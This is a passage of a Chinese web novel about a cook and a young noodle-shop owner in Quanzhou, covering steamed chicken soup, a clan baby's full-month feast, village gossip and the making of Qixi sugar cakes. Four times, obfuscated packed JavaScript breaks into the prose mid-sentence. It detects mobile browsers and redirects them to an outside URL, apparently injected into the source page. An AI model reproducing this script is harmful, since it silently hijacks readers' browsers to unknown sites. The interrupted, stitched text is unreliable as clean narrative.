许东山选择了溢鸡汤的做法。 厨子家中什么都有，许东山在库房里翻找一番，总算翻出了儿时他爹给他与许春喜做溢肉汤的大溢汤盅。 溢汤盅分为两部分，外面的大盅与套在大盅里的滴汤盆。 鸡胗、鸡心、鸡肠、两只鸡腿铺在溢汤盅底，再套上滴汤盆，将其他鸡肉放在溢汤盆里，最后铺上姜片、西洋参即可盖上盖子，整盅放入大蒸锅中焖蒸。 溢鸡汤盅内不必添加一滴水，单依靠盅外闷蒸凝结精华，溢出的精华鸡汤与炖煮的鸡汤颜色、口味都会大有不同。 —— 今日店里新增的米粉与菜头酸大受客人欢迎。 尤其是只配给咸饭的菜头酸，其酸甜爽脆的口感让客人们就算没腻味也吃个不停，没点咸饭的客人们听点了咸饭的客人们夸个不停，纷纷向苏月娘要了一碟。 不知不觉间，两大条菜头竟然在一日之内吃空了。 以至于碗碟多到傍晚苏月娘逃避洗碗，选择炒菜。 …… 溢鸡汤在锅里焖蒸了一下午，鸡肉的香味早早地从盅里逃逸，将厨房、堂屋填满。 所有菜都炒完，苏月娘才去掀开焖蒸鸡汤的锅盖，水汽卷着浓郁香味将苏月娘腹中馋虫勾出。 “咕咕咕……”苏月娘摸摸干瘪的肚子，正想喊许东山进来帮忙将又重又烫的溢汤盅从锅里端出，许东山便好似与她心有灵犀一般走入厨房。 苏月娘将两块湿抹布递给许东山后，退到一边去准备装汤的碗。 许东山小心翼翼地将溢汤盅放置在灶边，打开盅盖，盖上的水汽滴落在蒸熟的乌鸡肉上，许东山用筷子扎了扎乌鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245769|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉，鸡肉经过几个时辰的蒸制已然能够达到松软脱骨的状态。 再提起滴汤盅稍微沥一沥，夹出底下的内脏和鸡腿，足足小半盅的溢鸡汤便现了形。 汤色金黄澄清，只有少许油花飘在最上层，实属浓香而不会腻味的鸡汤佳品。 小半盅溢鸡汤，许东山给苏月娘盛了一大碗，剩下的小半碗自留。 至于鸡肉，许东山亦是将肉多的分给苏月娘，自己吃那些肉少得可怜的鸡架子。 东西都上了桌，苏月娘看看自己的汤和肉再看看许东山的，又想将汤和肉分给他。 可许东山早早地将自己的碗往边上挪了挪。 “我不爱吃鸡，你多吃点。” 既然如此，苏月娘也就不和许东山客气。 这样出汤极少的溢汤在许多家庭是独属于小孩子的成长汤，但这成长汤一年到头也就喝那么一两次，更多时候喝到的还是那种直接炖煮的油鸡汤。 没有添加杂七杂八调味料的溢鸡汤当真是凝聚那只乌鸡的所有精华，味道分外浓郁，入口汤水清滑鲜美，并不似炖煮出来的鸡汤那般腻味。 溢汤剩下的鸡肉亦是美味，久经焖蒸却还是鲜嫩爽口，苏月娘口味淡一些，能直接吃这不加任何调味的肉，许东山却是口味重一些，还调了蒜蓉酱醋做配。 若是许老爹还活着看到许东山这样的吃法大概会骂他暴殄天物，但许东山本人没那么讲究，反正食物淡着入口还是咸着入口，到了肚子里不过是犒劳五脏庙的物什罢了，倒不如选一样更喜欢的吃法。 苏月娘分到的肉多，许东山吃完饭时，她还在慢吞吞地吃着鸡肉。 “你先吃，我去做菜头酸。” “你多做一点，明天我们可以把菜头酸拎出来卖。” “今日是送，明日是卖，客人们会买账吗？” 苏月娘，“无论买不买账，还是点了咸饭与炒米粉的就送一小碟解腻，没点的想吃就得花钱买……不然都用送的，就算菜头不那么值钱，长久以来也是一笔花销！” “好。”了解了苏月娘的想法后，许东山进厨房去切菜头了。 苏月娘一边啃着鸡肉，一边盘算着一碟菜头酸要卖多少为好。 菜头并不算太当季的菜，夏季种菜头的人家较少，夏季的菜头也就比冬季的菜头贵上一大截。 三文五文不可能，一文两文倒是合适，积攒多了倒是能够赚一小笔…… 唉，这钱还是越赚越有盼头，如若旁的吃食店莫要再跟风的东西，那这钱赚得会更加开心。 苏月娘正暗自感慨着，隔壁又传来了李金花刺耳的叫骂声。 与往日不同，今日李金花骂的是苏月娘和许东山，骂的内容自然是苏月娘和许东山不近人情，连账都不给赊，害她儿子在外头丢人了。 苏月娘不甚在意，甚至喊许东山一起听李金花破口大骂。 许东山担忧苏月娘不高兴，忙要放下菜刀去隔壁理论一番。 但苏月娘拉住了他，直言，“她这是刻意骂给我们听的，若我们过去与她理论，事情闹难看了，她儿子闹出的笑话可就成了有些不明真相的人嘀咕你的说辞了！” 28. 满月饭 不知不觉，七月至，泉州城依旧是炎热非常，不过，七夕将至，人们忙着筹备敬七娘妈生，售卖敬品的店铺外悬挂着做工精致、五颜六色的七娘妈亭和七娘妈轿（1），乍一瞧，如彩华散落人间，满城热烈。 苏月娘打算七月初五起售卖七夕糖粿。 近段时间月娘面线糊店的生意十分红火，若是售卖糖粿（2）想必又会出现端午售卖肉粽的盛况。 头家和厨子连轴转了两个多月，苏月娘为了许东山七夕前后能够更好地干活，便决定初二初三歇业两日。 怎知道苏月娘初一早上刚宣布完这事儿，初一午后便有一个许东山的族叔上门找许东山明后两日帮着干活。 许东山自小离家，现下家里又只剩下他孤家寡人一个，平日里亲戚有什么世事要忙，基本不会有人能想起透明人一般的许东山。 这还是头一次有人上门求助。 许东山虽然和这位族叔不熟，但冲着对方也姓许，这忙他必然是会帮的。 对方尚不清楚明后两日面线糊店不营业，便给苏月娘封了个红封，拜托她明日给许东山放个假，并赏脸去吃个满月酒。 这钱苏月娘也不好意思拿，只是直言明日面线糊店不营业，还了红封后表示自己会到场一起庆祝他孙儿的满月。 —— 泉州一带宗亲观念（3）强烈，谁家要有世事，无论是出钱还是出力，有余力的宗亲们定是会二话不说就伸出援手。 虽说孩子明日才满月，但今日姓许的宗亲们纷纷聚在主家帮忙包满月粿煮满月饭（4）。 许东山做的就是煮满月饭的活计，一次满月饭通常要备少说百斤的满月饭，许东山一人肯定做不来，所以那位族叔很是贴心地将许二福给请来了。 大概是因为前几日许东石想吃白食的事情，许二福今日见了许东山还有些不好意思。 “我已经私底下骂过阿石了，我保证以后他肯定不会再去捣乱！” 许东山自来对这个懦弱耳软的二叔亲近不起来，面对许二福的道歉，他也只是淡淡地应了一声。 许二福见自己唯一的侄子不太想搭理自己，便垂头叹气道：“你专门学过怎么做满月饭，那二叔就给你打下手吧！” 锅勺瓢盆食材主家都给备好了，许东山和许二福只需人到场便好。 今天做的满月饭是给孩子外嬷（5）家准备的，这位族叔手头宽裕，按他的意思，他要给他亲家那边送一百斤满月饭。 好在做满月饭的锅够大，许东山做个四五锅也就差不多一百斤了。 满月饭又盛生仔饭、益饭、八宝糯米饭以及油饭。 其精髓就是各种各样的干海货、豆类以及油。 （6）叔侄俩一齐将一大盆红葱头剁碎，随后，许东山往锅中倒入一大桶花生油，红葱头碎加入冷油之中炸，于此同时，许东山不停地用大锅烧搅拌着锅里的红葱头碎，以免随着油温升高，红葱头碎会受热不均，从而被炸焦，破坏了满月饭的味道。 等锅里的油冒满了滚滚大泡，葱头油的香味从厨房的窗子飘向四面八方，在院子包粿的阿婆们纷纷往厨房里探头。 灶中火逐渐变小，锅中热油不再冒泡时，许东山捞出了被炸得金黄酥脆的红葱头碎倒在一旁的大盆里。 许二福等了半天可算等到了帮忙的机会，他坐在灶边，不停添柴塞叶，待火旺油温升，许东山将切好的五花肉倒入锅中烹炸至肉香飘散、表面出现金黄，就可加入入干贝、海蛎干、虾米、香菇再次爆香。 料头调味调色后炒熟，盛在一旁备用。 做大锅饭当真是气力活，许东山炒完这一锅料头，便停下手，站到窗边纳凉。 院子里包满月粿的阿婆们瞥见许东山在那儿吹风，纷纷打趣道： “听说你现在跟着你表妹开店赚得不少！” 这话说得就有些歧义了。 不知所以的人听了指不定会以为那面线糊店是许东山和苏月娘共有的。 许东山没那么爱面子，他坦坦荡荡地解释道：“我就是她请的厨子，每个月拿点能过活的工钱罢了。” “话说你们表兄表妹天天住在一起，是不是奔着成亲去的？你可别不好意思承认，我们大家又不会笑你……” 哪怕许东山与苏月娘常常向别人解释他们之间清清白白，没有一腿，但好事者却还总是将他们的澄清当做不好意思，事后还要将这谣言拿出来消遣。 许东山心生不悦，一对眉微皱。 他打从战场上回来后，面相便有些凶狠，他眉头这么一皱，旁的还想跟着一起起哄的阿婆顿时吓得不敢吱声了。 “我一个大男人无所谓别人怎么说，但她一个没嫁人的姑娘家还是卷到这样的谣言里不合适……” 许东山抬眸扫视那些阿婆。 “我不希望这样的话再从各位伯母婶婶的口中说出。” 那些伯母婶婶愣了愣，而后讪笑道： “我们也就是开个玩笑……以后注意……以后注意……” 被这么几个阿婆搅坏了吹风的心情，许东山从兜里掏出汗巾擦了擦额头后便转过身去洗手，继续煮满月饭。 这会儿手快的许二福已经又往锅里倒了油，许东山手悬在油面试闻，手心感受到稍微灼热的油温，许东山搬来了浸泡了一夜的糯米往锅中倾倒。 倒到最后，盆上还黏着不少米粒，许东山亦是极为耐心地用手将米粒拨到锅中。 糯米带有水分，一入锅便激起锅中热油沸腾翻滚，糯米在油中煮至发黄后，加入炒好的料头、洗净的腰豆、青豆、姜末以及红菜块。 这满月饭的做法与咸饭的做法半点不同，咸饭要熟需依靠吸水焖蒸，而满月饭却是通过油煮脱水达到煮熟的状态。 前头的炒料头比起油煮仅仅只是开胃小菜。 油煮过程中，脱出的水汽裹挟着油烟扑人满脸，偏偏这一过程中还得不停地用大勺翻动食材以免糊底，半刻都离不开人。 许二福总觉得自己什么忙也没帮上，等许东山翻了一刻钟后，他主动接过大勺，让许东山去边上歇会儿。 平日里李金花总在许二福耳边嗡嗡叫，难得能清静一会儿，许二福还有些不习惯。 许二福还是有心和这个侄儿重修于好的。 “阿山，咱们毕竟是亲叔侄，不能因为你爹不在了就疏远了……过两天是东石生辰，你带你表妹到家里吃顿便饭！” 许东山捻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252873|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了捻枯燥的叶子，神色有些不耐，“不了，我不乐意，我头家也不乐意。” 许二福没想到许东山会拒绝得这么干脆，他还想说些什么，许东山却已经起身出去了。 —— 百斤油饭煮到了午后才完成。 主家那儿称了重量，一百还余四斤多，四这数可不大吉利，所以主家给今日来帮忙的宗亲们没人分了一大碗油饭带走。 许东山回家时，苏月娘正坐在家门口折金纸。 一大叠黄底红图的金纸（7）被苏月娘斜折捏在手心里，一页一页地往黏合处折成多筒花。 “许大哥！”苏月娘看他还捧着东西回来，甚是期待地冲他一笑——大概所有人都对世事准备的菜品抱有很高的期待。 “给你带了一碗满月饭。” 听此，苏月娘面上的期待熄灭了。 “不喜欢吃？” 苏月娘将折好的金纸搁在脚边，“油汪汪的又一股怪味……你自己吃吧。” 满月饭这东西爱吃的能吃几大碗，不爱吃的连闻到味道都觉得恶心。 正好许东山中午被油烟熏得没胃口吃饭，现在一闲下来肚子正好也饿了，便径直走入厨房热满月饭吃。 那满月饭一下锅，海鲜味与麻油味一下子窜出厨房，顺着堂屋飘到大门口。 苏月娘闻不得这味儿，便伸手将大门拉上了。 几叠金纸折完，苏月娘拉来金纸桶，给一叠折好的金纸花点了火放到桶里烧，金纸自带的香味经过火烧，变得浓郁起来，正好盖过满月饭的怪味。（8） 金纸慢慢地烧成灰烬，桶里余下一小簇火苗，此时一阵风吹来，苏月娘担忧金烬被风吹到厝边家门口，眼疾手快地提起桶盖盖住差点飞出的金烬。 “你晚上吃点什么？” 许东山给自己热了饭后，还没来得及入口，又惦记起了给苏月娘做晚饭的事情。 好不容易被掩盖的满月饭味儿又飘了过来。 苏月娘没好气地道：“我泡了绿豆，帮我把绿豆粥煮了，然后把大门关上！” “好。”许东山立即去办。 许东山可不懂苏月娘为什么不喜欢这用料扎实还有麻油醇香的满月饭。 在去给苏月娘煮绿豆粥至之前，许东山还端起碗，快速扒了两口他认为很香、很好料的满月饭。 糯米粒粒分明，那些干海货也很有嚼劲，香香润润，回味无穷。 许东山吃快活了才恋恋不舍地去厨房煮绿豆粥。 一门之隔，苏月娘抓着一根木棍，将滚烫的烧金桶推到孤榻角落放着。 地面有不少飘散出的灰烬，苏月娘取来扫把，将灰烬扫成一堆。 正当她要用畚斗装起灰烬，有一阵风吹过，地上的灰烬被风吹得四分五散。 “塞林母——”（9） 苏月娘顺着暴躁的怒骂声望去。 之间被灰烬沾了一身的许东石气急败坏地拍着身上的灰。 苏月娘还没说点什么，许东石便恶狠狠地瞪着她。 “你给我等着！” 许东石放下狠话后便大步流星地离开了。 苏月娘冷嗤一声。 等着就等着！ 29. 满月粿 满月饭初二煮给孩子外嬷家的，初三就是煮给本家的。 许东山五更天便起，与他二叔一道去族叔家中帮忙。 主家管来帮忙的宗亲三餐，许东山和许二福还得先给大家伙煮一锅甜粥做早饭。 叔侄二人做好甜粥，许二福负责去外头吆喝宗亲们过来喝粥。 红姑家与主家关系近，今日红姑也来帮着送满月粿和满月饭。 “阿生自己一个人在家？”许东山给红姑盛了一碗稠粥。 “阿生一个人在家睡着呢，我和他说好了，他要是睡醒了自己乖乖待在家里玩，中午我带他过来吃满月酒。” …… 满月饭在甜粥分发完后即刻起做，凤池镇的宗亲甚多，今日的满月饭叔侄二人各起一锅，到辰时总算将满月饭做好了。 惠粿惠饭的阿婆们在厨房里挤着，挨个等着接饭出去送给宗亲们。 “满月饭都做好了吧？宴席班子过来了！”主家族叔快步跑入厨房。 许东山加快了往桶里装饭的速度，“都做好了，厨房马上能让出来了！” 族叔笑着走至许东山身边，“刚刚宴席班子的一个大厨子还和我打听你呢！听说是你以前的师兄！” 许东山打满月饭的手顿了下，“师兄？” “是啊……人马上过来了，一会儿你们叙叙旧！” 族叔还有事要忙，与许东山说了一声后，便离开了厨房。 许东山朝着门外看去。 没想到他的师兄竟然自己组建了一个宴席班子…… —— 难得清闲一日，苏月娘天刚亮时起了一次，在家里到处逛了逛，发现无事可做后又回到被窝里睡了个回笼觉。 正好巳时又起时，红姑背着一个大箩筐上门惠满月粿和大花包（1）了。 “月娘……月娘你在吗？” 苏月娘听见敲门声，连忙从后屋跑到堂屋去开门。 “伯母，你过来惠（2）满月粿啊？”苏月娘昨日便知道有人会上门惠粿，想着人没那么早到，方才才会睡回笼觉。 “是啊，来，你和阿山一人两个满月粿，然后两个人合一个大花包，这两个满月粿昨天夜里才炊好，现在已经硬了，一会儿要吃，记得再炊（3）一次。”红姑从箩筐里取出四个满月粿和一个大花包交给苏月娘。 “正巧我饿着肚子呢……这满月粿来得太及时了！”苏月娘收了粿和花包后，帮着红姑背上箩筐，“过两天要卖糖粿，伯母有空过来帮忙吗？” 自打红姑不卖豆腐之后，就只能到处去找些小工做，有的小工是提前几日就定好的，要找红姑帮忙做糖粿，还是得提早约定。 “正好我还愁后面几日找不到事情干……你这儿得来几日？”还有一个小孙儿要养，红姑很是积极地找活干。 “初四到初八五日，工钱只多不少！” 红姑一口应下。 “对了，许大哥不是说巳时之前会回来吗？怎么到现在还没见他的人影？是有事耽搁了吗？” 红姑，“主家请的宴席班子里有几个厨子是阿山的师兄弟，那几个厨子让阿山留下帮忙了！一会儿你在家等我，我惠完粿就领你去吃满月酒！” 红姑还有大半筐满月粿要惠，便没有在许东山家多耽搁。 苏月娘捧着那四个有些硬的龟形满月粿和大花包回到厨房。 花包太大，苏月娘一个人吃不完，便随意挑了两个满月粿放入锅中蒸。 盖上锅盖，她忽然想起方才红姑说许东山留下给他师兄打下手……不知为何，苏月娘的眼皮狂跳了几下。 胡思乱想了一阵，满月粿蒸好了。 满月粿又称龟仔粿有龟形、桃形的。龟形满月粿常在孩子满月、周岁、十六岁惠给宗亲好友以祈佑自家孙儿能够长寿健康。而桃形满月粿多是出现在需要祭祀的大日子里。 重新加热过的满月粿变得软乎乎的，美中不足的就是锅中水汽将印在龟背上的四足红印子（4）给弄模糊了。 刚蒸软的满月粿很是烫手，苏月娘干脆用筷子架起甑箅，快步走到堂屋的桌上放下。 稍微冷却后，苏月娘左手拇指食指小心掐在满月粿下的叶子上，右手持筷将满月粿夹起来。 经过再次蒸制的糯米皮变得尤其黏，即使苏月娘很小心地夹那满月粿了，那满月粿还是必不可免地黏在了叶子上，撕拉出一个大破洞，里头松散的绿豆沙差点滚到了桌子上。 还好苏月娘嘴快，在满月粿彻底被破坏之前，赶忙伸长脖子，咬了一大口。 糯叽叽的糯米皮里包裹着甜味的绿豆沙馅，去过皮的绿豆沙蒸熟后呈淡黄色，松松软软，清香四溢，十分有嚼劲，在下咽时稍黏上颚。 满月粿不怎大，苏月娘五六口就吃完了一个。 不得不说，做满月粿的阿婆是有点本事在身上的，这满月粿的手艺一点不比她家所在镇上的一处糕粿作坊里的老师傅差。 一个满月粿让苏月娘七分饱，想到今天中午还有满月酒要吃，苏月娘决定给满月酒留个肚子，剩的那个满月粿就回来再吃…… 待苏月娘在屋里逛了一圈…… 她还是诚实地坐下，继续吃剩下的那一个粿。 与刚才吃的那个满月粿不同，这第二个满月粿是咸口绿豆沙的。 咸口甜口的满月粿口感大差不差，但咸口的满月粿滋味更加独特，吃多了也更不容易腻味。 苏月娘一直喜欢的就是咸口的满月粿，从前厝边有人惠粿，她爹总会拿钱去买下别人家的咸满月粿给她吃。 虽然今日今时手中抓的是她最爱的咸口满月粿，可滋味却不比她爹给她买的…… —— 正午时分，红姑领着苏月娘与阿生去吃满月酒。 苏月娘毕竟也不是主家自己人，上门吃满月酒也不好太过随意，是以她出门前问过红姑大家都随多少礼，得到一个大概的数额后，她又往上添了添，凑了个吉利好听的数字。 帮着收礼钱的许家宗亲看到一个眼生的小姑娘给了这么多，还有些诧异，“你是……” 苏月娘笑道：“我是许东山的表妹，苏月娘。” 说起许东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259876|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山的表妹大家可能不清楚是谁，但说起月娘大家也就清楚了她是月娘面线糊店的头家。 “没想到传说中的月娘头家岁数这么小！”那人惊讶道。 苏月娘笑了笑，随着红姑去入座了。 苏月娘与在场大多数人都不认识，所以主家将她安排在了红姑身边。 两人来得还算挺早，铺了红布的大宴桌上连盘小菜都没有，只有几套碗筷与一壶热茶。 眼见着客人们差不多来齐了，主家赶紧去厨房催促凉菜。 厨子们紧锣密鼓地往凉菜拼盘上放芫荽与秋石斛（5），已经装饰好的拼盘就先由几个小帮厨和许东山帮着拿出去。 苏月娘和红姑正聊着事情，许东山便端着凉菜拼盘走到她们身后上菜。 “许大哥！”苏月娘瞥见熟悉的衣角才发觉身后的人是许东山。 许东山低下头，朝着苏月娘点头致意。 “干爹，就上一盘菜吗？我好饿？”阿生失望地撅着嘴。 “第二道菜还在准备，饿的话先吃颗鸡蛋垫一垫。”许东山往口袋里一摸，摸出两颗主家分的红鸡蛋，一颗给阿生，一颗给苏月娘。 虽然苏月娘并不饿，但她还是冲许东山笑了下，“许大厨辛苦了！” 今天有不少人管他叫大厨，但他都没什么感觉，但苏月娘叫他大厨，他心里莫名愉悦。 许东山嘴角微扬，道：“今天的菜都不错，你多吃点。” “好！你快去吧！别桌都眼巴巴地盯着你手里的菜呢！”苏月娘朝着许东山摆了摆手。 …… 许东山一回到后厨，几个好事的师兄弟们一边做着手里的活，一边暧昧不清地冲着他笑。 “师兄，你那个小表妹长得还真是漂亮！她说亲没有！” 许东山皱眉，抬腿踹了他一脚，“说没说亲，你都配不上她！” “切！你看不起谁呢！”许东山的师弟嬉笑道：“你表妹这么娇滴滴的，真能把店开好？” 这个师弟有些聒噪，不仅许东山觉得烦，大师兄也觉得烦。 “闭嘴！别把口水喷到菜里！” 那师弟讪讪道：“我就问问……” 大师兄不耐烦地瞪他，“想也知道生意好是因为阿山的手艺好，而且那家店也地段不错！那个娇滴滴的小姑娘能干什么！笑一笑，说几句话……” 这话还没说完，许东山就沉着脸重重地放下了手中的锅勺。 动静不小，厨房众人都下意识看向许东山。 “就算没有我，以她的手艺和为人处事之道，她的店也能开得很好！”许东山厉声道。 师兄弟都知道，许东山只是看着凶了些，可脾气还是很好的，大家基本没见过许东山与人急眼红脸。 许东山忽然动了气…… 师弟们噤若寒蝉。 大师兄没想到自己的话会让许东山动火，他看看许东山比数年前壮了一圈的块头，倒没有再说什么不该说的。 “好了好了……我就是跟你说句笑，想恭维你一下，没想到你还当真护上了！” 30. 糖粿1 主家手头宽裕，这一场满月宴已经能称上近几年来规模最大、菜品最丰盛的一场宴席了。 红姑怕苏月娘和同一桌的阿婆不熟，不好意思夹菜说话，还时不时停下来照顾她。 好在苏月娘人水（1）嘴又甜，不一会儿便和阿婆们混熟了，甚至还能在阿婆们嘀咕认识的人时，跟着附和两句。 许东山又来上菜了，这一次上的是蒜蓉红鲟（2）蒸冬粉（3）。 “好料的来喽！”大家伙一看到这道硬菜，眼睛都亮了。 虽然泉州靠海，但是虾蟹依旧不便宜，条件没那么好的人家并不舍得花钱买虾蟹过嘴瘾。 大概是出于私心，许东山选择在苏月娘和阿山身后上这道菜。 苏月娘偏过头，“许大哥吃了吗？” 许东山点了点头，“开席前就吃过了，你快吃，红鲟都快被抢光了。” 苏月娘这才回过头去看那盘蒜蓉红鲟蒸冬粉，她顿时傻了眼。 就说一句话的功夫，盘子里怎么就只剩下孤零零的两条断掉的腿了？ “来来来！我给你抢了两只钳子！快吃快吃！”红姑将两只钳子放到苏月娘的碗里头，“叫你顾着关心阿山！你看！差点没吃上好料了吧！” 正费劲地咬着钳子的阿生朝苏月娘笑了笑，“月娘姑姑放心和干爹说话！一会儿阿生给你抢菜！” 苏月娘没忍住笑出了声，“吃菜重要！一会儿我就不和你干爹说话了！” 对面的阿婆听了半晌，吐掉了嘴里的壳，“你们表兄表妹的关系可真不是一般好！昨天他还为了你的名声，警告了他几个伯母婶婶！” 这事儿许东山回去没有提过，苏月娘不知许东山警告了人家什么，但是小辈警告长辈终归不是什么很正常的事情，苏月娘还是尴尬地笑了两声。 等这话题被岔开后，苏月娘才疑惑地看向红姑。 红姑昨天听人简单提过一嘴，她压低声音道：“就是男人女人之间的那点事情。” 苏月娘，“……” 早知道她方才就不和许东山说话了，指不定那群人看了又怎么抹黑他们两个呢。 —— 宴席以一道花生甜汤作尾，客人们一人喝一碗花生汤后，便三三两两地离开了宴席。 红姑带苏月娘过来，自然也要帮着带她回去。 祖孙俩与苏月娘才走出门，就看见许东山手里提溜着两只红鲟站在路边张望。 “看样子阿山也打算回去了，我和阿生就先走了。” 阿生朝着苏月娘和许东山挥挥手，“月娘姑姑，干爹再见！” 目送红姑祖孙离去，苏月娘不动声色地观察了周遭一番。 周围人还不少。 许东山，“走了。” 苏月娘谨慎地往边上挪了挪，直到与许东山之间隔了足够容纳一个人的距离。 许东山疑惑地看了苏月娘好几眼，苏月娘却将避嫌进行到底，连个眼神都没给许东山。 就这样，两个人没有任何触碰也没有交流地回了家。 一回到家，苏月娘赶忙关上大门舒了一口气，而后追着许东山进了厨房。 从主家带回来的红鲟还能动，许东山索性装了一盆水，撒上一勺盐，将两只红鲟放入水中暂时养着。 他回过身，一边抓起搭在窗台上的擦手巾擦手，一边看着坐在灶边的苏月娘，问道：“你刚刚……” 和苏月娘相处久了，许东山也知道她那不是生气，就是单纯的行径古怪。 苏月娘垂头丧气地掰着枯叶，“你早说你的亲戚觉得我和你有点什么呀……不然我刚刚就不会和你当着大家的面说这么多话了！” 许东山擦手的动作顿了顿，旋即有装作若无其事地将擦手巾放了回去。 “我昨天已经警告过她们了……她应该不会再乱说了……” “指不定他们嘴上答应你不会再乱说，但私底下还是到处去宣扬……”苏月娘撅着嘴，那张白白净净的花包脸上满是愁色，“我不一定嫁人我倒无所谓，就是怕耽误你娶妻……要真这样，我可就是你家的罪人了！” 许东山没想到苏月娘是如此想的，他有些哭笑不得。 “好了好了不说这事儿了……以后我可不跟你一块儿出门了！”苏月娘拍拍双手站了起来，面上的愁色一扫而空，“你叔叔对你可真好！居然还送了你两只红鲟！” 现在，苏月娘还在因为没抢到红鲟而遗憾。 许东山自是懂得她在想什么，“这是特地给你带的，晚上蒸给你吃。” 苏月娘闻言，眼睛都亮了起来。 “许大哥你这人还怪好的！” 她的眼睛笑起来时很是漂亮，许东山不敢与之对视，便有些不自在地背过身去。 “你先去歇会儿，我去把糯米粉背回来。” —— 糖粿做法简单，不似五月节烧肉粽一般用料多、工序复杂，所以苏月娘安排红姑初五清早再到面线糊店来帮忙做糖粿。 许东山帮着将二十斤糯米粉分倒到两个大盆中后，便回厨房提来刚烧开的两大壶滚水。 阿生站在桌边望着，许东山将水壶放在桌上，用手将阿生的脑袋推远了一些。 “小孩子不要站在热水壶旁边，小心被烫伤！” 阿生乖乖地躲到许东山身后去。 确定红姑和苏月娘的手都不在桌上后，许东山才又提起两个水壶，一齐往两个装了糯米粉的大盆路倒下去。 倒了小半壶，红姑喊了停，许东山便停止倒水，红姑与苏月娘就开始一齐揉面。 加了热水的糯米粉异常烫手，细皮嫩肉的苏月娘揉了两下便被烫得收回了手。 “阿山皮糙肉厚不怕烫，就让阿山揉面吧！” 苏月娘毫不忸怩地与许东山交换了位置。 许东山撸起袖子，宽大的铁手一伸，像是察觉不到半点滚烫一般地用力揉起了面。 “许大哥还真是适合干这活！跟没感觉似的！” 许东山波澜不惊地揉面。 小半壶水只够搅和出带着干粉的面絮，等着苏月娘添滚水的时候，许东山悄悄地蜷了蜷被烫得有些发痒的手心。 第二回加水，还是少量地加，经过揉制，糯米面团稍微成型，但一戳还是八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264968|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方皲裂。 最后一回加水，为了让面团更有光泽且不易粘黏，苏月娘还往盆中倒了适量的生油。 经过红姑和许东山的大力揉制，大盆中的糯米粉被尽数揉成了光滑柔软的大面团。 “月娘姑姑，可以给我一小团玩吗？”阿生眼巴巴地盯着盆里那又白又胖的糯米面团。 “这可是吃的东西，你可不许玩！”红姑自是不会纵容阿生浪费粮食。 红姑生怕苏月娘纵容阿生，连忙朝她使眼色。 苏月娘只好歇了偷偷给阿生揪一团糯米面团玩的想法。 “你提上两个水壶跟我回厨房，我给你炒点花生搓皮！”许东山招呼阿生跟上自己。 “来喽！”阿生分外不舍地盯着面团看了两眼后，便乖乖地提着水壶跟着许东山回了厨房。 糖粿一般会被搓成白、粉红两种颜色，但有的人家为图省事，也会只做白色的。 可是苏月娘想要糖粿长得更有食欲一些，便将自己盆里的面团分成了两半，其中一半揪出一小团揉入一些红花米，搓成红色，而后再揉进一半面团中，经过来回揉制，那一半面团变成了偏深的粉色。 面团备好，就可开始搓糖粿了。 不止糖粿的颜色，闽南人在糖粿的形状上也有不同的做法。家中有新生儿、十六岁少年，或是图省事的，糖粿便会做成光滑圆饼形的，若是无特殊岁数的孩童，就会在光滑的圆饼中央戳下一个坑。（4） 有老人说，七夕糖粿中间的坑是用来装牛郎织女相会时所流的泪的。 苏月娘才不管那个坑是不是用来装牛郎织女的眼泪的，她只知道坑要是戳得太深，肯定得多用一些糖。 “伯母，坑有个明显的形状就好，可不要戳得太深！” “好！”红姑揪起一小坨面，用手心搓圆，而后两掌轻轻将面球压成厚厚的圆饼，最后用指头在顶上一戳，一颗糖粿便制成了。 “阿嬷姑姑，糖粿放这里！”阿生搬来了一个抹了点油的簸箕摆在两个大盆中间。 红姑和苏月娘一齐将刚做好的糖粿放在簸箕上。 阿生爬到长椅上跪着，双肘撑在桌面，兴致勃勃地看着一颗颗被摆上簸箕的糖粿。 “阿嬷，我发现糖粿和冬节丸好像啊！” 红姑笑道：“你记性这么好？你说说是哪里像？去年我可做过糖粿和冬节丸给你看！” 阿生歪着脑袋，“都是糯米粉加烫水，然后还要添点油揉……还有……” 